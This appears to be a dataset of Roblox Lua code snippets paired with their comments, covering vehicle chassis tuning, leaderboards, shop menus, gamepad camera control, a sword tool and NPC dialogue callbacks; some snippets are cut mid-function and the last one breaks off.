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--[=[
Intended for classes that extend BaseObject only
@class PromiseRemoteFunctionMixin
]=] |
local require = require(script.Parent.loader).load(script)
local promiseChild = require("promiseChild")
local PromiseRemoteFunctionMixin = {}
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 100 -- TODO track for dissertation
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
ClassInformationTable:GetClassFolder(player,"Mage").WiseCasting.Value = true
end
|
-- Public Methods |
function SpringClass:Update(dt)
if (not self.instant) then
local t, k, d, x0, v0 = self.t, self.k, self.d, self.x, self.v
local a0 = k*(t - x0) + v0*d
local v1 = v0 + a0*(dt/2)
local a1 = k*(t - (x0 + v0*(dt/2))) + v1*d
local v2 = v0 + a1*(dt/2)
local a2 = k*(t - (x0 + v1*(dt/2))) + v2*d
local v3 = v0 + a2*dt
local x4 = x0 + (v0 + 2*(v1 + v2) + v3)*(dt/6)
self.x, self.v = x4, v0 + (a0 + 2*(a1 + a2) + k*(t - (x0 + v2*dt)) + v3*d)*(dt/6)
if (getAbsDist(x4, self.t) > self.marginOfError) then
return x4
end
end
self.x, self.v = self.t, self.v*0
return self.x
end
|
--Plot Current Supercharger Horsepower |
function GetSCurve(x,gear)
local hp=(math.max(CurveS(x)/(PeakCurveS/HP_S),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
|
--[[Misc]] |
Tune.LoadDelay = .2 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
--Left lean Multiplier |
ZR15RightLegLeftLeanM= 1
XR15RightLegLeftLeanM = 1
YR15RightLegLeftLeanM = 1
R15RightKneeLeftLeanM = 1
ZR15RightArmLeftLeanM = 1
XR15RightArmLeftLeanM = 1
YR15RightArmLeftLeanM = 1
R15RightElbowLeftLeanM = 1
ZR15LeftLegLeftLeanM= 1
XR15LeftLegLeftLeanM = 1
YR15LeftLegLeftLeanM = 1
R15LeftKneeLeftLeanM = 1
ZR15LeftArmLeftLeanM = 1
XR15LeftArmLeftLeanM = 1
YR15LeftArmLeftLeanM = 1
R15LeftElbowLeftLeanM = 1
ZR15LowerTorsoLeftLeanM = 1
XR15LowerTorsoLeftLeanM = 1
YR15LowerTorsoLeftLeanM = 1
ZR15UpperTorsoLeftLeanM = 1
|
-- Create target box pool |
local SelectionBoxPool = InstancePool.new(60, function ()
return Make 'SelectionBox' {
Name = 'BTSelectionBox',
Parent = GetCore().UI,
LineThickness = 0.025,
Transparency = 0.5,
Color = Selection.Color
}
end)
|
-- We get the initial shop size for opening the shop frame. |
local initialShopSize = shopFrame.Size
isOpen.Changed:Connect(function()
if isOpen.Value == true then
-- open
shopFrame.Visible = true
shopFrame.Size = UDim2.new(0,0,0,0)
local shopTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Linear)
local shopTweenGoal = {
Size = initialShopSize
}
local shopTween = ts:Create(shopFrame, shopTweenInfo, shopTweenGoal)
shopTween:Play()
shopBtn.TextLabel.Text = "Close Shop"
elseif isOpen.Value == false then
-- close
local shopTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Linear)
local shopTweenGoal = {
Size = UDim2.new(0,0,0,0)
}
local shopTween = ts:Create(shopFrame, shopTweenInfo, shopTweenGoal)
shopTween:Play()
-- When the Tween has finished, the shop frame is hidden.
shopTween.Completed:Connect(function()
shopFrame.Visible = false
shopBtn.TextLabel.Text = "Buy Cash!"
end)
end
end)
shopBtn.MouseButton1Click:Connect(function()
-- used to toggle the isOpen value to fire the Changed event.
if isOpen.Value == true then
isOpen.Value = false
elseif isOpen.Value == false then
isOpen.Value = true
end
end)
|
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Selects a random object out of tbl |
Table.random = function (tbl)
return tbl[RNG:NextInteger(1, #tbl)]
end
|
--[[ if your changing the DataStore name from LB
to anything else you should change it inside the saving script too
]] | --
local LeaderBoardStore = DataStore:GetOrderedDataStore("LB")
local function Arrange()
-- pcall can help us to indentify and silence the errors
local success , errormessage = pcall(function()
local MainPage = LeaderBoardStore:GetSortedAsync(false , 50)
local ThisPage = MainPage:GetCurrentPage()
for i , v in pairs(ThisPage) do
-- i is the player's rank and v is the player's data
local Player = game.Players:GetPlayerByUserId(v.key)
local Coins = v.Value or 0
local NewFrame = script:FindFirstChild("Frame"):Clone()
NewFrame.Player.Text = Player.Name
NewFrame.Rank.Text = i
NewFrame.Coins.Text = Coins
NewFrame.Parent = script.Parent
if ChatService then -- first checking if ChatService has loaded or not
-- Leaderboard tags are added in the below lines
local Speaker = ChatService:GetSpeaker(Player.Name)
if Speaker then
-- You can Change the TagText and TagColor
Speaker:SetExtraData("Tags" , {{TagText = "#"..i , TagColor = Color3.fromRGB(0, 255, 127)}})
end
end
end
end)
if not success then
-- if there is any error in the script it will warn us here
warn(errormessage)
end
end
Arrange()
|
--character welds |
local larmw
local rarmw
local llegw
local rlegw
local headw
local torsow |
-- play the buzz sound followed by the zap sound when the orb is touched
-- stop both sounds after 1 second |
orb.Touched:connect(function()
buzzSound:Play()
wait(1)
zapSound:Play()
wait(1)
buzzSound:Stop()
zapSound:Stop()
end)
|
--[[
Returns a dictionary containing all keys and their associated objects
]] |
function Registry:getAll()
local tab = {}
for key, object in pairs(self.objects) do
tab[key] = object
end
return tab
end
|
--[[Driver Handling]] |
--Driver Sit
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
--Distribute Client Interface
local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
car.DriveSeat:SetNetworkOwner(p)
local g=script.Parent["A-Chassis Interface"]:Clone()
g.Parent=p.PlayerGui
end
end)
--Driver Leave
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
--Remove Flip Force
if car.DriveSeat:FindFirstChild("Flip")~=nil then
car.DriveSeat.Flip.MaxTorque = Vector3.new()
end
--Remove Wheel Force
for i,v in pairs(car.Wheels:GetChildren()) do
if v:FindFirstChild("#AV")~=nil then
if v["#AV"].AngularVelocity.Magnitude>0 then
v["#AV"].AngularVelocity = Vector3.new()
v["#AV"].MaxTorque = Vector3.new()
end
end
end
end
end)
|
----------------------------------------------- |
function findAllFlagStands(root)
local c = root:children()
for i=1,#c do
if (c[i].className == "Model" or c[i].className == "Part") then
findAllFlagStands(c[i])
end
if (c[i].className == "FlagStand") then
table.insert(stands, c[i])
end
end
end
function hookUpListeners()
for i=1,#stands do
stands[i].FlagCaptured:connect(onCaptureScored)
end
end
function onPlayerEntered(newPlayer)
if CTF_mode == true then
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
local captures = Instance.new("IntValue")
captures.Name = "Captures"
captures.Value = 0
captures.Parent = stats
-- VERY UGLY HACK
-- Will this leak threads?
-- Is the problem even what I think it is (player arrived before character)?
while true do
if newPlayer.Character ~= nil then break end
wait(5)
end
stats.Parent = newPlayer
else
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
local kills = false
if Settings.LeaderboardSettings.KOs then
kills = Instance.new("IntValue")
kills.Name = Settings.LeaderboardSettings.KillsName
kills.Value = 0
end
local deaths = false
if Settings.LeaderboardSettings.WOs then
deaths = Instance.new("IntValue")
deaths.Name = Settings.LeaderboardSettings.DeathsName
deaths.Value = 0
end
local cash = false
if Settings.LeaderboardSettings.ShowCurrency then
cash = Instance.new("StringValue")
cash.Name = Settings.CurrencyName
cash.Value = 0
end
local PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name)
if PlayerStats ~= nil then
if cash then
local Short = Settings.LeaderboardSettings.ShowShortCurrency
PlayerStats.Changed:connect(function()
if (Short) then
cash.Value = Settings:ConvertShort(PlayerStats.Value)
else
cash.Value = Settings:ConvertComma(PlayerStats.Value)
end
end)
end
end
if kills then
kills.Parent = stats
end
if deaths then
deaths.Parent = stats
end
if cash then
cash.Parent = stats
end
-- VERY UGLY HACK
-- Will this leak threads?
-- Is the problem even what I think it is (player arrived before character)?
while true do
if newPlayer.Character ~= nil then break end
wait(5)
end
local humanoid = newPlayer.Character.Humanoid
humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )
-- start to listen for new humanoid
newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )
stats.Parent = newPlayer
end
end
function onCaptureScored(player)
local ls = player:findFirstChild("leaderstats")
if ls == nil then return end
local caps = ls:findFirstChild("Captures")
if caps == nil then return end
caps.Value = caps.Value + 1
end
findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands > 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)
|
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected |
local onlyTriggersForThrottle = false
local function onThrottleAccel(actionName, inputState, inputObject)
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))
CurrentThrottle = (inputState == Enum.UserInputState.End or Deccelerating) and 0 or -1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
Accelerating = not (inputState == Enum.UserInputState.End)
if (inputState == Enum.UserInputState.End) and Deccelerating then
CurrentThrottle = 1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
end
end
local function onThrottleDeccel(actionName, inputState, inputObject)
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))
CurrentThrottle = (inputState == Enum.UserInputState.End or Accelerating) and 0 or 1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
Deccelerating = not (inputState == Enum.UserInputState.End)
if (inputState == Enum.UserInputState.End) and Accelerating then
CurrentThrottle = -1
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))
end
end
local function getHumanoid()
local character = LocalPlayer and LocalPlayer.Character
if character then
for _,child in pairs(character:GetChildren()) do
if child:IsA('Humanoid') then
return child
end
end
end
end
local function getClosestFittingValue(value)
if value > 0.5 then
return 1
elseif value < -0.5 then
return -1
end
return 0
end
local function onRenderStepped()
if CurrentVehicleSeat then
local moveValue = MasterControl:GetMoveVector()
if game:GetService("UserInputService"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then
CurrentVehicleSeat.Throttle = -CurrentThrottle
else
CurrentVehicleSeat.Throttle = getClosestFittingValue(-moveValue.z)
end
CurrentVehicleSeat.Steer = getClosestFittingValue(moveValue.x)
end
end
local function onSeated(active, currentSeatPart)
if active then
if currentSeatPart and currentSeatPart:IsA('VehicleSeat') then
CurrentVehicleSeat = currentSeatPart
if useTriggersForThrottle then
ContextActionService:BindAction("throttleAccel", onThrottleAccel, false, Enum.KeyCode.ButtonR2)
ContextActionService:BindAction("throttleDeccel", onThrottleDeccel, false, Enum.KeyCode.ButtonL2)
end
local success = pcall(function() RunService:BindToRenderStep("VehicleControlStep", Enum.RenderPriority.Input.Value, onRenderStepped) end)
if not success then
if RenderSteppedCn then return end
RenderSteppedCn = RunService.RenderStepped:connect(onRenderStepped)
end
end
else
CurrentVehicleSeat = nil
if useTriggersForThrottle then
ContextActionService:UnbindAction("throttleAccel")
ContextActionService:UnbindAction("throttleDeccel")
end
MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))
CurrentThrottle = 0
local success = pcall(function() RunService:UnbindFromRenderStep("VehicleControlStep") end)
if not success and RenderSteppedCn then
RenderSteppedCn:disconnect()
RenderSteppedCn = nil
end
end
end
local function CharacterAdded(character)
local humanoid = getHumanoid()
while not humanoid do
wait()
humanoid = getHumanoid()
end
--
if HumanoidSeatedCn then
HumanoidSeatedCn:disconnect()
HumanoidSeatedCn = nil
end
HumanoidSeatedCn = humanoid.Seated:connect(onSeated)
end
if LocalPlayer.Character then
CharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:connect(CharacterAdded)
return VehicleController
|
----------------------------------
------------FUNCTIONS-------------
---------------------------------- |
function UnDigify(digit)
if digit < 1 or digit > 61 then
return ""
elseif digit == 1 then
return "1"
elseif digit == 2 then
return "!"
elseif digit == 3 then
return "2"
elseif digit == 4 then
return "@"
elseif digit == 5 then
return "3"
elseif digit == 6 then
return "4"
elseif digit == 7 then
return "$"
elseif digit == 8 then
return "5"
elseif digit == 9 then
return "%"
elseif digit == 10 then
return "6"
elseif digit == 11 then
return "^"
elseif digit == 12 then
return "7"
elseif digit == 13 then
return "8"
elseif digit == 14 then
return "*"
elseif digit == 15 then
return "9"
elseif digit == 16 then
return "("
elseif digit == 17 then
return "0"
elseif digit == 18 then
return "q"
elseif digit == 19 then
return "Q"
elseif digit == 20 then
return "w"
elseif digit == 21 then
return "W"
elseif digit == 22 then
return "e"
elseif digit == 23 then
return "E"
elseif digit == 24 then
return "r"
elseif digit == 25 then
return "t"
elseif digit == 26 then
return "T"
elseif digit == 27 then
return "y"
elseif digit == 28 then
return "Y"
elseif digit == 29 then
return "u"
elseif digit == 30 then
return "i"
elseif digit == 31 then
return "I"
elseif digit == 32 then
return "o"
elseif digit == 33 then
return "O"
elseif digit == 34 then
return "p"
elseif digit == 35 then
return "P"
elseif digit == 36 then
return "a"
elseif digit == 37 then
return "s"
elseif digit == 38 then
return "S"
elseif digit == 39 then
return "d"
elseif digit == 40 then
return "D"
elseif digit == 41 then
return "f"
elseif digit == 42 then
return "g"
elseif digit == 43 then
return "G"
elseif digit == 44 then
return "h"
elseif digit == 45 then
return "H"
elseif digit == 46 then
return "j"
elseif digit == 47 then
return "J"
elseif digit == 48 then
return "k"
elseif digit == 49 then
return "l"
elseif digit == 50 then
return "L"
elseif digit == 51 then
return "z"
elseif digit == 52 then
return "Z"
elseif digit == 53 then
return "x"
elseif digit == 54 then
return "c"
elseif digit == 55 then
return "C"
elseif digit == 56 then
return "v"
elseif digit == 57 then
return "V"
elseif digit == 58 then
return "b"
elseif digit == 59 then
return "B"
elseif digit == 60 then
return "n"
elseif digit == 61 then
return "m"
else
return "?"
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
local TweenService = game:GetService("TweenService")
function Tween(obj,Goal,Time,Wait,...)
local TwInfo = TweenInfo.new(Time,...)
local twn = TweenService:Create(obj, TwInfo, Goal)
twn:Play()
if Wait then
twn.Completed:wait()
end
return
end
|
--[[Transmission]] | --
Tune.Clutch = true -- Implements a realistic clutch.
Tune.TransModes = {"Auto"} --[[
[Modes]
"Manual" ; Traditional clutch operated manual transmission
"DCT" ; Dual clutch transmission, where clutch is operated automatically
"Auto" ; Automatic transmission that shifts for you
>Include within brackets
eg: {"Manual"} or {"DCT", "Manual"}
>First mode is default mode ]]
--[[Transmission]]
Tune.ClutchType = "Clutch" --[[
[Types]
"Clutch" : Standard clutch, recommended
"TorqueConverter" : Torque converter, keeps RPM up
"CVT" : CVT, found in scooters
]]
Tune.ClutchMode = "Speed" --[[
[Modes]
"Speed" : Speed controls clutch engagement
"RPM" : Speed and RPM control clutch engagement ]]
--Transmission Settings
Tune.Stall = true -- Stalling, enables the bike to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.
Tune.ClutchEngage = 25 -- How fast engagement is (0 = instant, 99 = super slow)
--Torque Converter:
Tune.TQLock = false -- Torque converter starts locking at a certain RPM (see below if set to true)
--Torque Converter and CVT:
Tune.RPMEngage = 5300 -- Keeps RPMs to this level until passed
--Clutch:
Tune.SpeedEngage = 15 -- Speed the clutch fully engages at (Based on SPS)
--Clutch: "RPM" mode
Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0
--Manual: Quick Shifter
Tune.QuickShifter = true -- To quickshift, cut off the throttle to upshift, and apply throttle to downshift, all without clutch.
Tune.QuickShiftTime = 0.25 -- Determines how much time you have to quick shift up or down before you need to use the clutch.
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoShiftType = "DCT" --[[
[Types]
"Rev" : Clutch engages fully once RPM reached
"DCT" : Clutch engages after a set time has passed ]]
Tune.AutoUpThresh = 200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Automatic: Revmatching
Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100%
--Automatic: DCT
Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one.
Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one.
Tune.FinalDrive = (30/16)*1 -- (Final * Primary) -- Gearing determines top speed and wheel torque
-- for the final is recommended to divide the size of the rear sprocket to the one of the front sprocket
-- and multiply it to the primary drive ratio, if data is missing, you can also just use a single number
Tune.NeutralRev = true -- Enables you to back up manually in neutral
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 32/5 , -- Neutral and 1st gear are required
--[[ 2 ]] 32/6 ,
--[[ 3 ]] 33/7 ,
--[[ 4 ]] 32/8 ,
--[[ 5 ]] 34/9 ,
--[[ 6 ]] 33/10 ,
}
Tune.Limiter = true -- Enables a speed limiter
Tune.SpeedLimit = 121 -- At what speed (SPS) the limiter engages
|
-- Shapes -- |
local shapes = {}
for _, v in pairs(script:GetChildren()) do
table.insert(shapes, v)
end
local colors = {
[1] = Color3.fromRGB(255,255,255),
[2] = Color3.fromRGB(255,0,0),
[3] = Color3.fromRGB(0,255,0),
[4] = Color3.fromRGB(0,0,255),
[5] = Color3.fromRGB(255,255,0),
[6] = Color3.fromRGB(255,0,191),
[7] = Color3.fromRGB(0, 255, 255),
[8] = Color3.fromRGB(213, 115, 61),
[9] = Color3.fromRGB(98, 37, 209),
[10] = Color3.fromRGB(91, 93, 105),
}
local function getColor()
local num = math.random(1,10)
if colors[num] then
return colors[num]
end
return Color3.fromRGB(255,255,255)
end
|
---Controller |
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=55
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=55
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
CRot = CRot + script.Parent.Values.SteerC.Value*-10
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=55
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=55
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="," then
look=50
elseif key=="k" then
if intcam then
look=-160
else
look=-180
end
elseif key=="." then
look=-50
elseif key=="'" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="," and look==50 then
look=0
elseif key=="k" and (look==-160 or look==-180) then
look=0
elseif key=="." and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
--- DEPRECATED METHODS: |
function methods:RegisterGuiRoot()
-- This is left here for compatibility with ChatScript versions lower than 0.5
end |
--------LEFT DOOR -------- |
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) |
--// Aim|Zoom|Sensitivity Customization |
ZoomSpeed = 0.05; -- The lower the number the slower and smoother the tween
AimZoom = 60; -- Default zoom
AimSpeed = 0.70;
UnaimSpeed = 0.70;
CycleAimZoom = 30; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
-- probably not a good idea but whatever |
local function updateSelected()
for _, button in next, activeButtons._tasks do
button:SetSelected(isWearing(button.AssetId))
end
end
|
--bp.Position = shelly.PrimaryPart.Position |
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ServerStorage.Sounds.NPC.Peeper:GetChildren()
shelly.Health.Changed:connect(function()
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
end)
while true do
if tick()-lastEgg >= 60 then
lastEgg = tick()
local newEgg = game.ServerStorage.Items:FindFirstChild("Egg"):Clone()
newEgg.Color = shelly.Torso.Color
newEgg.CFrame = shelly.PrimaryPart.CFrame*CFrame.new(0,3,3)
newEgg.Parent = workspace
local newSound = game.ServerStorage.Sounds.Quicks.Pop:Clone()
newSound.PlayOnRemove = true
newSound.Parent = newEgg
wait()
newSound:Destroy()
game:GetService("Debris"):AddItem(newEgg,55)
end
MoveShelly()
end
|
--[[Sword Part Class]] | --
local SwordPart =
{
Damage = 50,
AttackTime = 0.5,
CoolDown = 0,
LastSwing = 0,
LastHit = 0,
Part= nil,
Owner = nil,--player object that owns this sword
OnHit = nil,
OnHitHumanoid = nil,
OnAttackReady = nil,
OnAttack = nil,
SwingSound = nil,
HitSound = nil,
SwingAnimation = nil, --animation track!
ActiveConnections = {},
}
do
UTIL.MakeClass(SwordPart)
function SwordPart.New(npart,nowner)
local init= UTIL.DeepCopy(SwordPart)
init.Part= npart
init.Owner = nowner
table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end))
init.OnHit = InternalEvent.New()
init.OnHitHumanoid = InternalEvent.New()
init.OnAttackReady = InternalEvent.New()
init.OnAttack = InternalEvent.New()
return init
end
function SwordPart:SwordTouch(hit)
if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end
self.OnHit:Fire(hit)
local character,humanoid = UTIL.FindCharacterAncestor(hit)
if character and character ~= self.Owner.Character then
humanoid:TakeDamage(self.Damage)
self.OnHitHumanoid:Fire(humanoid,hit)
self.LastHit = tick()
if self.HitSound then
self.HitSound:Play()
end
end
end
function SwordPart:DoSwing()
if tick()-self.LastSwing<self.AttackTime+self.CoolDown then
return
end
if self.SwingAnimation then
self.SwingAnimation:Play()
end
if self.SwingSound then
self.SwingSound:Play()
end
self.LastSwing = tick()
self.OnAttack:Fire()
end
function SwordPart:Destroy()
for _,i in pairs(self.ActiveConnections) do
i:disconnect()
end
end
end
do
local Handle = script.Parent
local Tool = Handle.Parent
local Player = game.Players.LocalPlayer
local Character = UTIL.WaitForValidCharacter(Player)
local SwingAni = UTIL.Instantiate"Animation"
{AnimationId = "http://www.roblox.com/Asset?ID=89289879"}
local HitSound = Handle:WaitForChild('Hit')
local SwingSound = Handle:WaitForChild('Swing')
local SwingAniTrack
local Sword
Tool.Equipped:connect(function(mouse)
Sword = SwordPart.New(Handle,Player)
Sword.Damage = 40
Sword.HitSound = HitSound
Sword.SwingSound = SwingSound
Character = UTIL.WaitForValidCharacter(Player)
local Humanoid = Character:FindFirstChild('Humanoid')
SwingAniTrack = Humanoid:LoadAnimation(SwingAni)
Sword.SwingAnimation = SwingAniTrack
Sword.OnHitHumanoid:Connect(function(humanoid,hit)
local myTorso = Character:FindFirstChild('Torso')
local torso = humanoid.Parent:FindFirstChild('Torso')
if not torso or not myTorso then return end
if hit.Name=='Right Arm' or hit.Name=='Left Arm' or hit.Name=='Right Leg' or hit.Name=='Left Leg' then
hit:BreakJoints()
WeldUtil.WeldBetween(hit, Handle)
Delay(1,function() hit:BreakJoints() end )
end
end)
mouse.Button1Down:connect(function()
Sword:DoSwing()
end)
end)
Tool.Unequipped:connect(function()
Sword:Destroy()
end)
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Classes.Super.PureKnight.Obtained.Value ~= true
end
|
-- Checks if the player is new, otherwise will populate with saved data |
Players.PlayerAdded:Connect(function(player)
local data
local success = pcall(function()
data = AllPlayers:GetAsync(player.UserId)
end)
if success then
local status = ""
if not data then
AllPlayers:SetAsync(player.UserId, true)
else
status = Statuses:GetAsync(player.UserId)
end
